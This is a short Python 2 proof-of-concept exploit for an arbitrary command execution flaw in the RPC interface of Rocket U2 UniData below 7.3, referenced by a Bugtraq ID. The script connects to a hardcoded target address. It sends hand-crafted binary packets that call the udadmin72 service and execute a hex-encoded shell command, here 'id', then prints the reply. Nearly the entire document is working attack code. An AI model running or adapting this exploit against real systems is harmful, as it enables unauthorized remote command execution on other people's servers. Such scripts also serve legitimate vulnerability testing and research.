#!/usr/bin/env python

import socket
import time 

#Rocket U2 UniData < 7.3 unidata72 RPC Interface Call Parsing Arbitrary Command Execution
#Bugtraq ID: 53974

TCP_IP = '172.20.2.31' #target IP Address
TCP_PORT = 31438 #target Port
COMMAND = "\x73\x68\x20\x2d\x63\x20\x22\x69\x64\x22"  #sh -c "id"

print "Command: ", COMMAND
BUFFER_SIZE = 1024

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

#l..........................    ....udadmin72...
MESSAGE = "\x6c\x02\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x09\x00\x00\x00\x02\x75\x64\x61\x64\x6d\x69\x6e\x37\x32\x00\x00\x00"
s.send(MESSAGE)
data = s.recv(BUFFER_SIZE)

#l...... ...................................sh -c "id"..
MESSAGE = "\x6c\x01\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00"
s.send(MESSAGE)
data = s.recv(BUFFER_SIZE)

MESSAGE = "\x6c\x02\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x02\x00\x00\x00\x06" + COMMAND + "\x00\x00"

s.send(MESSAGE)
data = s.recv(BUFFER_SIZE)

s.close()

print "Response: ", data